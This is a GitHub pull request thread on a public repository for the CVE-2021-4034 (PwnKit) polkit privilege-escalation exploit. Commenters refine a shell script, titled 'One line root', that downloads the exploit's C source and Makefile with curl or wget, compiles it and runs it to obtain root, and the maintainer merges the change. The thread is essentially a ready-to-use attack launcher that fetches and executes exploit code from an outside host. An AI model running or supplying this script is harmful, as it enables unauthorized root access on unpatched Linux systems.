berdav / CVE-2021-4034

CVE-2021-4034 1day
MIT License
1.94k stars 508 forks source link

One line root #13

Closed Nickguitar closed 2 years ago

owl4ce commented 2 years ago

Better. I recommend to execute this inside a staged directory for cleanliness.

#!/usr/bin/env sh

set -e

URL='https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/'

for EXPLOIT in "${URL}/cve-2021-4034.c" \
               "${URL}/pwnkit.c" \
               "${URL}/Makefile"
do
    curl -sLO "$EXPLOIT" || wget --no-hsts -q "$EXPLOIT" -O "${EXPLOIT##*/}"
done

make

./cve-2021-4034
berdav commented 2 years ago

@owl4ce out of curiosity, why not just using -O for curl? therefore:

curl -sLO "$EXPLOIT" || wget -q "$EXPLOIT"
owl4ce commented 2 years ago

@owl4ce out of curiosity, why not just using -O for curl? therefore:

curl -sLO "$EXPLOIT" || wget -q "$EXPLOIT"

Just edited.

berdav commented 2 years ago

Hi @Nickguitar can you modify the code to be similar to the one proposed by @owl4ce ?

Then I will merge the pull request.

Nickguitar commented 2 years ago

Done

berdav commented 2 years ago

I've added some fixes and merged it in #18

Thank you again!